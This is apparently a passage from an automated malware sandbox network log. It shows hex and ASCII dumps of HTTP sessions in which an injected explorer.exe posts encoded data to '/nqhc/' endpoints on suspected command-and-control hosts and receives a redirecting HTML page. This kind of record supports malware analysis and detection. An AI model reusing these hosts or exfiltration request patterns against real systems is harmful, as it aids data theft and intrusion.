4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 39 7a 49 69 35 4e 42 59 4d 47 37 67 66 67 41 79 69 77 3a 31 6f 78 42 55 35 3a 69 6f 49 79 61 57 72 5a 63 4f 6d 6a 75 5a 34 63 6b 43 5a 56 73 56 44 2d 58 61 63 2f 32 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 33 35 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 49 67 64 4f 55 41 72 45 33 7a 45 4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 39 7a 49 69 35 4e 42 59 4d 47 37 67 66 67 41 79 69 77 3a 31 6f 78 42 55 35 3a 69 6f 49 79 61 57 72 5a 63 4f 6d 6a 75 5a 34 63 6b 43 5a 56 73 56 44 2d 58 61 63 2f 30 22 20 2f 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 6f 6e 6c 6f 61 64 3d 22 64 6f 5f 6f 6e 6c 6f 61 64 28 29 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 74 6d 72 28 70 61 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5BIgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU5:ioIyaWrZcOmjuZ4ckCZVsVD-Xac/2" /> </noscript> <meta http-equiv="refresh" content="35;url=http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5BIgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU5:ioIyaWrZcOmjuZ4ckCZVsVD-Xac/0" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function tmr(path) { return function() { window.top.location.href = "http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5B
Nov 21, 2022 19:25:33.075831890 CET	2085	IN	Data Raw: 49 67 64 4f 55 41 72 45 33 7a 45 4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 Data Ascii: IgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU5:ioIyaWrZcOmjuZ4ckCZVsVD-Xac/" + path + "/"; } } var tmrR = setTimeout(tmr(3), 3000);
Nov 21, 2022 19:25:33.075901985 CET	2086	IN	Data Raw: 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 72 2e 73 6c 69 63 65 28 31 29 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 Data Ascii: s.appendChild(document.createTextNode(r.slice(1))); document.getElementsByTagName("body")[0].appendChild(s); } } function print(msg) { document.getElementsByTagName("
Nov 21, 2022 19:25:33.076294899 CET	2087	IN	Data Raw: 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 Data Ascii: }; x.onload = function () { if (x.status === 200) { ar(x.responseText); } else { d(4);

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49832	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:33.955990076 CET	559	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 49 55 74 37 31 4f 31 74 52 4a 79 6c 72 45 42 5f 4d 41 62 35 41 6c 35 65 6f 57 42 4b 52 7a 46 30 32 6a 48 33 79 77 4a 78 65 59 6f 64 64 69 32 61 78 75 70 6c 72 53 4c 79 59 74 6a 79 35 74 62 68 54 44 38 65 37 59 78 38 4f 44 47 36 4e 32 5a 38 37 4e 68 37 43 5f 63 74 37 4b 64 2d 57 4e 56 31 72 6e 33 41 51 39 76 65 62 6a 57 34 4b 75 46 4d 52 30 33 58 30 32 6a 6a 47 62 45 6b 54 48 43 43 38 52 31 36 49 32 7e 71 7e 78 72 54 48 48 7a 79 58 78 6b 54 54 4e 74 73 76 73 6e 4b 56 77 70 57 46 70 51 44 74 56 63 43 6e 65 44 42 38 62 66 76 33 44 64 54 38 62 48 6b 78 36 71 65 4e 5f 59 4b 76 54 6b 58 6a 35 55 49 4d 4f 65 44 45 46 70 78 61 35 6f 58 73 79 7a 6f 6d 6e 70 49 71 39 4f 4f 31 41 34 37 75 69 71 57 54 78 6d 32 52 56 6c 42 54 5f 4a 6f 37 50 71 43 4a 30 49 56 6d 42 56 38 70 35 77 63 35 67 79 66 46 32 68 4e 50 65 67 61 43 57 79 67 59 70 32 48 55 53 6a 78 50 70 66 54 77 6d 74 59 4e 76 6e 38 55 7a 67 52 33 78 72 78 30 57 5a 32 68 77 79 4f 47 46 31 34 45 4b 77 53 42 4d 50 73 65 47 4b 50 31 30 42 72 45 78 59 68 48 66 67 63 54 4e 45 77 63 47 58 58 42 63 37 6e 7a 4c 68 62 57 79 46 48 51 44 33 65 37 6b 43 63 6c 4f 28 53 41 5a 6b 34 47 30 37 74 36 75 77 5f 50 4e 54 49 30 75 46 6d 37 4d 33 31 32 6d 58 30 28 42 58 6d 68 49 62 30 65 59 4f 55 54 46 4b 30 70 77 34 51 48 74 76 41 49 68 4a 44 30 6a 6f 74 68 33 32 50 73 48 54 39 79 66 54 65 54 71 78 6a 32 6b 69 30 4d 76 4b 7a 38 64 68 53 41 52 54 57 48 61 34 7a 78 47 70 48 55 58 7e 32 33 64 49 5a 46 58 59 6b 67 5a 48 42 49 77 4c 2d 39 58 56 30 6f 36 50 59 6c 31 64 53 58 6f 49 7a 56 62 5a 35 76 75 76 70 5a 61 52 64 4f 6e 43 67 59 42 49 49 51 37 38 54 4e 67 4a 6c 66 45 77 34 6e 44 71 42 49 33 43 41 65 6f 74 2d 71 51 65 42 66 37 72 42 42 6e 39 6a 56 33 43 57 61 71 32 49 78 6e 4e 6b 28 57 64 50 4b 33 47 5f 72 4a 58 44 47 47 4e 58 41 32 31 69 59 70 4b 68 61 4c 78 2d 5a 47 4d 44 38 6c 46 6f 76 6f 42 4a 28 61 37 56 6c 65 73 57 6b 6e 66 4f 71 33 79 68 63 4d 33 66 7a 5f 53 55 50 49 52 66 39 56 6e 59 65 55 79 52 4b 44 45 43 56 75 65 39 45 32 6c 39 4f 77 62 75 46 49 43 57 39 4e 4e 58 73 5f 48 6b 4c 2d 7a 33 49 32 64 32 6f 53 30 62 73 63 7a 2d 52 68 6d 6d 6a 66 72 51 68 41 52 49 41 47 51 64 46 6f 56 76 56 71 72 4c 67 49 47 4a 61 73 75 32 5a 4a 41 49 6c 56 28 6c 6c 49 53 70 6b 54 56 48 45 57 57 67 41 4e 69 37 66 68 54 6b 4c 74 41 58 76 32 30 72 65 66 59 50 4b 47 44 6c 4b 6b 31 4e 61 46 71 43 6a 70 6b 70 73 4b 66 74 6c 4f 6c 55 6f 5f 42 57 4c 5f 4b 4c 4d 65 6e 4f 7e 57 56 61 66 6f 4a 31 37 4f 39 75 72 38 30 73 49 5f 6d 7a 57 45 7a 7a 54 43 52 43 55 68 41 4e 30 33 71 4f 67 35 72 65 62 4b 43 35 74 78 77 69 36 4a 46 62 65 6a 4f 54 6d 4c 55 4c 4b 6c 48 53 50 74 7a 41 6a 42 65 70 66 45 36 4f 6f 76 28 54 33 57 67 42 48 47 35 74 43 4d 74 48 34 39 51 4b 6a 6c 66 34 61 56 52 38 4c 51 66 4f 45 6b 37 56 76 74 6f 45 63 67 51 7a 6a 46 70 55 4a 55 4c 35 42 76 36 67 75 69 45 4b 4c 74 55 48 42 71 56 6b 63 44 33 30 5a 75 35 56 38 6f 6a 69 79 69 7a 71 43 56 39 5f 7a 61 42 57 52 68 4c 54 58 53 6c 70 77 42 37 34 50 2d 70 43 55 55 31 4d 44 79 52 36 46 4f 79 65 4c 54 46 68 7a 55 70 62 4c 5a 62 51 69 2d 61 41 41 66 57 68 42 4d 43 47 56 65 72 7a 32 59 6a 33 52 47 28 33 51 4d 62 35 6b 30 55 73 58 52 56 6f 50 38 72 74 51 65 53 45 46 53 32 37 7a 77 77 55 77 44 45 36 7a 36 70 75 41 4a 6e 66 49 79 56 47 72 31 61 35 35 44 36 4d 28 59 42 46 49 37 50 66 6b 59 75 57 49 5a 36 4f 4a 73 69 31 66 62 33 72 4b 55 62 57 42 57 7e 58 6b 6a 77 69 6f 32 44 67 72 73 70 5f 72 32 69 54 7e 56 52 6e 41 37 6c 74 67 70 63 68 52 35 32 33 7a 38 56 66 35 53 66 43 41 47 4f 70 35 51 39 45 46 34 6d 67 32 4e 6d 41 30 31 6e 42 77 77 55 46 78 44 48 4b 35 66 55 63 51 48 41 62 33 2d 49 4e 78 62 4e 43 53 49 70 59 5a 46 6d 5f 57 36 35 55 4f 6e 53 54 55 6c 73 79 72 70 78 79 68 51 4c 4a 64 77 55 6f 41 35 6c 37 44 5f 59 57 6f 76 31 30 4e 77 5a 7a 65 4c 44 69 7a 4c 33 49 36 4c 53 6f 33 79 79 37 42 79 45 71 41 34 4b 53 4d 6a 4f 66 51 33 32 50 32 67 41 56 39 69 55 66 61 76 30 50 78 4b 63 6b 62 5a 76 51 50 53 58 52 38 44 4a 6e 30 5a 31 Data Ascii: r4txB=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSIUt71O1tRJylrEB_MAb5Al5eoWBKRzF02jH3ywJxeYoddi2axuplrSLyYtjy5tbhTD8e7Yx8ODG6N2Z87Nh7C_ct7Kd-WNV1rn3AQ9vebjW4KuFMR03X02jjGbEkTHCC8R16I2~q~xrTHHzyXxkTTNtsvsnKVwpWFpQDtVcCneDB8bfv3DdT8bHkx6qeN_YKvTkXj5UIMOeDEFpxa5oXsyzomnpIq9OO1A47uiqWTxm2RVlBT_Jo7PqCJ0IVmBV8p5wc5gyfF2hNPegaCWygYp2HUSjxPpfTwmtYNvn8UzgR3xrx0WZ2hwyOGF14EKwSBMPseGKP10BrExYhHfgcTNEwcGXXBc7nzLhbWyFHQD3e7kCclO(SAZk4G07t6uw_PNTI0uFm7M312mX0(BXmhIb0eYOUTFK0pw4QHtvAIhJD0joth32PsHT9yfTeTqxj2ki0MvKz8dhSARTWHa4zxGpHUX~23dIZFXYkgZHBIwL-9XV0o6PYl1dSXoIzVbZ5vuvpZaRdOnCgYBIIQ78TNgJlfEw4nDqBI3CAeot-qQeBf7rBBn9jV3CWaq2IxnNk(WdPK3G_rJXDGGNXA21iYpKhaLx-ZGMD8lFovoBJ(a7VlesWknfOq3yhcM3fz_SUPIRf9VnYeUyRKDECVue9E2l9OwbuFICW9NNXs_HkL-z3I2d2oS0bscz-RhmmjfrQhARIAGQdFoVvVqrLgIGJasu2ZJAIlV(llISpkTVHEWWgANi7fhTkLtAXv20refYPKGDlKk1NaFqCjpkpsKftlOlUo_BWL_KLMenO~WVafoJ17O9ur80sI_mzWEzzTCRCUhAN03qOg5rebKC5txwi6JFbejOTmLULKlHSPtzAjBepfE6Oov(T3WgBHG5tCMtH49QKjlf4aVR8LQfOEk7VvtoEcgQzjFpUJUL5Bv6guiEKLtUHBqVkcD30Zu5V8ojiyizqCV9_zaBWRhLTXSlpwB74P-pCUU1MDyR6FOyeLTFhzUpbLZbQi-aAAfWhBMCGVerz2Yj3RG(3QMb5k0UsXRVoP8rtQeSEFS27zwwUwDE6z6puAJnfIyVGr1a55D6M(YBFI7PfkYuWIZ6OJsi1fb3rKUbWBW~Xkjwio2Dgrsp_r2iT~VRnA7ltgpchR523z8Vf5SfCAGOp5Q9EF4mg2NmA01nBwwUFxDHK5fUcQHAb3-INxbNCSIpYZFm_W65UOnSTUlsyrpxyhQLJdwUoA5l7D_YWov10NwZzeLDizL3I6LSo3yy7ByEqA4KSMjOfQ32P2gAV9iUfav0PxKckbZvQPSXR8DJn0Z1_fX8mXhX5nCY559ZaIsJn7ce5(mbM5eJlVMSFQWqYIh1WSlmuUjit2bPaFoO_ncEoczRiGlNcVZ2DwFDm7IirRvgAPRaHRZuHrfd3hb8F5rYCYCckcKL8Ieezo22AHsUhYgWTy6x4(k47HFVnYI4CLE~y5tDY3PyNGGpvZzqZ32J9QzVPCIuOh4F2f3H3SQ62hIxQymbPyeWv0-qY4WNU5Ek64XUot7Ekxebjxfynp2JviHp2ZJk1c8soRufoD5QRxQB6Ec23UfdaH8L9gjAYr7TXdp35WcSFIOHnT35Y7bJ4mrO6AeK23Wm6xXIfTPeLPA76ZqNKc25eu4TnbS(u9uALKTEe2X4hco~oBrpvSqC6qdvsyDVbGNHe473EnDFXut4N7dL8pg8yXUcqdyoRSJDJ7CrdU5gqNk7vGd1awRaEFzxshbNDlYhzXaeDFq1Y7kg648eqvM58L1r1iK5x0fe3mZGrXUUqrqG1G7fxJjUQcVoTpaZMhb3pBB1yq1Dwzl(kg0sOeshIs1Pm0jHgGHPb7Ot579xxiT14FdOSmKq-(2bPoLfVHv4_~DLzo6hoUAB8xAAhGNzQxcGJxHKAcfoKPyL5pkUndp1ULZXc9FRAIXkLveHxws5f1sr-1A8DOLuFdAm2u1tfhuoXQNM6Bjcr2A4_pkkuXuwcA7wb5A8ohO6C~y6_0byEVXejiMs7BXP8T0U9~vA8wxXt1d6gpXiPnHwH0O1qg7ArlFNUzFyDCi1etthi(9VgUmJuIBSRSPjH(qTTV6BmtH9A3HE_yttbiY4tdzNt(HoQGLXxd1hZAh1h6frQdxjHEx~QhdfwPbl-6z9626OtyuY5q7Un5QgUjdcHb8LshBv3bl9fFO3QaqN8PN8o4okotA5sKw74BA0P(Pcw5zwwk2pZs2m1(GC-b_eB2McpWahOZo76eOxr06aNgLkvBIrZRpKV7ACFUSS73-pjOWZuvuHFa7paHGb-NMzNg9gWkNVMi9T9fdPD0qQQ7fnknc46lSNyqshBXWLZqIwNzbF3Vw0F(wJBR-Ef5C45LcoXPZ4XmtqjeG(OCQqfWzY1arjpxDbIRvwCZvz6agq1t09cD49BPPlBIhPTukeypxZIJx(NY55u60M2cDpzpPE6oQv1540b2Bgz32t1w9FMD792qsYtIIum(FkYh2cFcxtsV9cC3puWyuBmD1MIlnihTCS_3z6y1y8xBYiTnsek4kzgEjtHiwbRY6yrKWU2lwSKM3Lkk0BdG4sVdh4VQMxAOmHxF5Rd8RZtqIuQCH1YdMus~wIrRR(BbJWk0G4U1rMASIxuKj9MJt9AWTJ9vtOgiWhuS-0chk7k44I-kG7IPTd9Hze3g9eAglZl5oiaV_MC7giGwETETEEa0hgzpxclahmFZRrOo6F-L7Icowb9JuLw7w2wHL2OxTri~siHeRar5Sne6366BNFGV-gtzv2Gai3Lb4tWtj~J(Fhq24ysgjEMfByDNGe5Ph(rQzcmNv8gRAQbpFqpsrv6i0mgXLKESjcXxNvkxdl9lFQhJ5AvRPnQ0aqDYBHDR9ccJP7FxpdIRJq_ZpXDjI8tjwfQEHxrw9iD5FJkSztHwDFbvKllvHRpO4ACW7iEyvCvO3dl5ZMZuEJF9xSoq_vKr26ILKA88Ytzz0vxayJUjELhOvGqaY5ODKbM6R7-I1ZeqO3h6MVYvYYTF1IRw3(aZq6HVM6DGRmI1EPNVwwoIvUJzB1maX~a~CIbi3gF0hZEtgzPVSyQGRtRpH0fDCtCnqGYdkjFGUgRtohoEZMo67AWwqeaiBJUrd32ylos8ckQMSQ7AnZ5onkMdoFBrjjfSNEqzPJ6hfENSriqhfq_DQAvMsR03M6aoLIIHrOWoc(5SL8pzlymv-VSrxJ0TmwkkANy2xd1eYONnlpkfzMKVAV9hNmPwJzfjmlqM0Bm9fzAGoo7SxYCBAslBKVB73D5SkVdnTshbG8KLAU3I9iCIpHcZ2OCjHC4Dgb1EHCwbnKH~X3rkyx7kyoWDA9zsuie0yRnMY6y9MeoGaaF5c59~OWPUynsFama91RRRNK68ShFjRMvHvAu~h93WQyZpVLyNT7W~Z3h
Nov 21, 2022 19:20:33.956078053 CET	568	OUT	Data Raw: 70 51 38 4d 35 67 47 46 4b 37 4e 52 49 65 75 76 75 58 68 4b 7a 33 63 63 42 6c 46 68 48 4e 28 55 50 4e 35 5f 45 59 7a 70 47 73 33 49 35 39 73 76 64 6f 51 67 44 64 44 78 5a 44 65 30 4a 4a 67 57 71 30 7e 4c 67 4a 32 5f 36 4e 6a 57 4f 65 47 31 4e 58 Data Ascii: pQ8M5gGFK7NRIeuvuXhKz3ccBlFhHN(UPN5_EYzpGs3I59svdoQgDdDxZDe0JJgWq0~LgJ2_6NjWOeG1NXpE(Cp1AtHhcNTFX4KaGgZ8d5h_4letagomdcBUA9G-POqdVUQqDlytB1r-PmlbRzdRsUiri3Sq2Qyy9U1_tUnx1GMZR5yo38FFG3sLiEoBWpvrE9Q26kR6UumEsubx1f99ZzfPncifLRjLyArfy7(hOwPRwgDxMPu
Nov 21, 2022 19:20:34.174357891 CET	576	OUT	Data Raw: 65 4a 58 37 39 54 62 31 62 72 38 45 75 5a 56 71 4c 6a 31 63 68 33 7e 34 59 7a 4e 5a 69 51 63 49 50 39 63 78 49 31 65 7a 63 43 77 57 64 4d 31 79 75 53 74 54 47 30 78 59 32 55 44 41 79 6b 79 6c 34 43 7a 44 73 6b 79 6f 66 76 67 53 5a 54 72 6d 4e 6b Data Ascii: eJX79Tb1br8EuZVqLj1ch3~4YzNZiQcIP9cxI1ezcCwWdM1yuStTG0xY2UDAykyl4CzDskyofvgSZTrmNk6AVmtpz_huGvMC7Kpr~zqmyH0ZJaBJX6bHExgBRquDxKdda_xfl_LEZRgR83QDXjzbEhnXjB4rAqmDTKdrL0oUQW4k81tfNqIh4DgBLW9ZX8Ei4PAokm0Iq-3exfcubUtJbsX66C8MjMFSa0NCViQflvvqTmK9zJy
Nov 21, 2022 19:20:34.175450087 CET	594	OUT	Data Raw: 61 64 6f 69 35 34 44 43 4e 33 5a 4c 6d 72 63 6a 71 38 33 71 28 71 28 4e 30 30 54 51 4b 55 72 31 6d 43 5a 41 54 50 52 67 31 79 64 61 6c 48 39 32 73 4e 67 44 6f 78 4c 73 76 43 34 71 58 6e 36 45 75 2d 62 4f 6f 4e 78 53 61 55 43 77 37 48 62 50 6d 2d Data Ascii: adoi54DCN3ZLmrcjq83q(q(N00TQKUr1mCZATPRg1ydalH92sNgDoxLsvC4qXn6Eu-bOoNxSaUCw7HbPm-4uhprVQqfRVQCCBmOXSjrkz06WmzQGZGcR6GxdlYdxlKx9g3KN9_j6BV6jF-33N_PKyohYb69cWiQyl2025wmUCFVYMEtzg-bbeIfuRdl1QmyPiGiah07A6EPo(A7_drBDmoyUD6EciDE8ohe7OflacF4-ufEpddn
Nov 21, 2022 19:20:34.393207073 CET	596	OUT	Data Raw: 4f 76 61 44 70 6d 53 78 4c 58 54 71 58 32 79 44 48 41 70 36 30 45 47 31 4b 7a 30 43 71 32 30 53 32 56 44 66 30 53 70 67 7a 56 7a 65 58 70 55 50 67 39 47 79 70 58 69 79 4d 6e 31 77 73 47 48 6a 62 41 73 4e 65 75 51 73 7a 4e 33 33 7a 79 59 51 45 36 Data Ascii: OvaDpmSxLXTqX2yDHAp60EG1Kz0Cq20S2VDf0SpgzVzeXpUPg9GypXiyMn1wsGHjbAsNeuQszN33zyYQE63dWy5aRC0TZ4cu1WJrbZHmHPFrtFJJT7C1El2O47bpeG0mxBeBDMgmvIwRw6tDQ5Q2xA7MnnA9OkpsUn3puzXfLdT3Q4L7yUgGVPEP3eUhU6WduozFPSUDGy(8dpHpzAegKYEXAH(WPvnNKx1x2ODNYxTP~A13hOq
Nov 21, 2022 19:20:34.393296003 CET	599	OUT	Data Raw: 6d 57 75 77 66 55 42 67 38 52 39 61 37 4d 33 68 42 31 4c 45 30 61 6e 76 49 46 4d 36 49 34 28 43 4e 4a 32 6f 77 2d 59 71 36 33 6c 61 75 4e 31 41 77 4b 67 48 39 43 28 77 6b 2d 34 58 7e 77 75 61 45 36 49 62 54 70 49 33 6f 71 30 35 38 67 66 57 63 44 Data Ascii: mWuwfUBg8R9a7M3hB1LE0anvIFM6I4(CNJ2ow-Yq63lauN1AwKgH9C(wk-4X~wuaE6IbTpI3oq058gfWcDKsApFZDT0zy8JVn79I(foH19r5j8APCfqDdiyfQJvr(E6GYSIV2hZslbj6czw19my60MRGIhzu2BTy81cActf72uRQHM8vkP2DX4DYfxVAfxXY42NWd8oWwLM0d5HD4VlLtNhpIcrAoVN8K4TPFiGzcOP6pr(Hbn0
Nov 21, 2022 19:20:34.393573999 CET	607	OUT	Data Raw: 72 34 37 71 34 30 75 54 56 63 36 4f 69 43 4a 49 4d 76 39 63 66 35 61 6d 28 77 6b 33 58 6d 46 32 61 68 32 66 57 79 45 65 6d 70 63 6b 37 47 52 5a 7e 45 68 68 46 54 6c 2d 69 4a 78 50 4d 65 6a 79 5a 38 72 79 55 4a 73 6d 72 36 72 33 7e 30 62 34 54 33 Data Ascii: r47q40uTVc6OiCJIMv9cf5am(wk3XmF2ah2fWyEempck7GRZ~EhhFTl-iJxPMejyZ8ryUJsmr6r3~0b4T3vgqq79mC9wCZSBla(Wdv(GUF85na1qaD(jebMJvbZhcS37W3DkJx0P3rStekwlJeeDZuRMTTtaSYjOhxldaxIBUl9gy98iOhi6QHmA8AhRkphxs2cIJJOZ8F0U5gm363PuaEuQIBoR6EBKAxWUxyFPD0upEAiGB1u
Nov 21, 2022 19:20:34.393701077 CET	607	OUT	Data Raw: 45 4b 6b 39 33 75 46 32 38 4a 35 64 47 6c 77 4e 30 4c 50 48 6f 6d 70 31 6a 56 49 33 47 37 58 32 36 63 38 6a 58 4d 37 73 36 43 35 68 35 56 64 73 6c 51 39 4e 71 52 55 65 45 78 44 49 47 33 48 46 63 61 49 75 44 58 31 34 47 44 42 38 76 41 6c 6f 6f 2d Data Ascii: EKk93uF28J5dGlwN0LPHomp1jVI3G7X26c8jXM7s6C5h5VdslQ9NqRUeExDIG3HFcaIuDX14GDB8vAloo-N8J8elRURW~hX6VutWCw~VNVYd6Z1dJEcCwLcBmH7hlwqLgN5xlAYzHwsiK4KrP7zsnBstKhdV35HaVSKrUBDk5Ux7u5G62lwjMZvrOj7skTs7Vcguf9kJFdpexxTCjnNQWHuQWReZ9Q06GuysKnDYK1ofPbGq0tT
Nov 21, 2022 19:20:34.662729025 CET	609	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:20:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.11.20	49916	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:34.241780043 CET	2090	OUT	POST /nqhc/ HTTP/1.1 Host: www.labour-office.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.labour-office.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.labour-office.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 47 66 39 65 6d 56 74 59 77 50 4b 52 4d 65 72 59 58 50 75 69 7e 71 67 64 48 6d 38 32 62 4a 59 52 71 69 47 32 37 30 7e 44 36 74 47 49 49 74 4d 75 32 70 6a 2d 38 4a 33 53 42 74 73 63 75 57 58 2d 68 50 54 6b 37 4e 4a 56 47 2d 45 67 31 7a 36 6a 5a 45 6c 7a 4f 41 6b 71 75 79 58 6c 69 64 78 32 45 78 62 62 6c 61 6f 46 31 36 28 74 77 6f 69 73 64 31 31 65 4a 73 51 4c 6c 2d 58 42 51 54 34 32 59 62 41 4b 7a 68 32 75 71 71 34 43 61 45 52 71 37 76 76 63 4f 79 74 66 7a 57 39 31 4b 54 37 61 74 62 76 74 4c 54 4c 44 74 42 79 79 75 35 31 41 66 68 30 53 59 61 4e 56 71 78 4e 36 43 65 35 54 70 4c 65 48 4c 4d 78 76 37 34 52 34 4e 57 4b 34 4c 63 44 62 61 57 39 58 71 76 28 6d 39 57 51 54 6f 73 34 33 7e 6f 68 6d 34 76 4c 53 52 57 4e 79 45 37 47 34 52 51 6e 46 6b 62 4f 69 59 4b 4f 59 70 34 73 73 72 2d 63 4c 57 5a 63 68 6e 61 50 52 6c 4c 76 47 75 4b 69 74 37 4d 6b 65 6b 64 47 33 4e 56 6f 62 66 69 57 39 35 42 48 32 33 6e 34 47 45 66 71 75 34 79 59 49 55 6b 65 70 31 31 6c 52 57 65 55 38 63 59 63 39 50 73 33 7a 4f 67 32 69 4e 35 58 4b 56 71 34 71 67 59 73 2d 35 64 63 39 70 74 41 52 78 65 69 72 51 43 34 5a 6c 2d 52 6d 68 5a 64 37 77 50 31 46 34 61 57 58 72 39 48 46 69 52 5a 66 39 43 4c 32 45 39 66 39 4b 5a 33 30 66 38 78 79 55 56 36 6f 4b 33 36 70 7e 31 68 5f 6a 73 6e 50 79 4d 49 79 73 47 46 71 39 71 4c 50 59 6e 36 73 39 63 50 65 35 36 54 35 52 6b 58 30 4b 69 6f 46 62 31 54 35 76 77 7e 4d 48 57 39 63 6c 74 72 7a 47 5a 70 49 52 53 51 77 49 50 55 63 58 64 6c 4c 38 64 69 5f 52 52 66 79 35 63 52 48 50 6c 48 51 4a 48 70 43 50 42 79 68 51 51 4c 74 7a 48 68 4d 46 46 56 41 4f 4d 51 76 4c 57 28 6c 54 6f 32 39 73 6e 6c 70 28 39 43 6d 62 61 6e 7a 6f 6f 52 31 57 30 48 70 4c 35 58 42 4c 6a 6e 61 55 62 46 57 4c 57 53 48 50 42 32 63 61 5f 59 59 51 45 74 47 33 6b 54 42 44 62 7a 62 41 30 43 52 70 55 62 2d 78 4b 4e 6f 6b 34 4e 33 54 6d 48 34 74 62 5a 75 32 78 78 75 67 63 61 33 6b 42 7a 6f 4c 32 77 69 41 54 47 69 76 47 7e 38 34 32 4c 6e 56 4b 36 67 51 33 75 44 36 51 46 6f 50 52 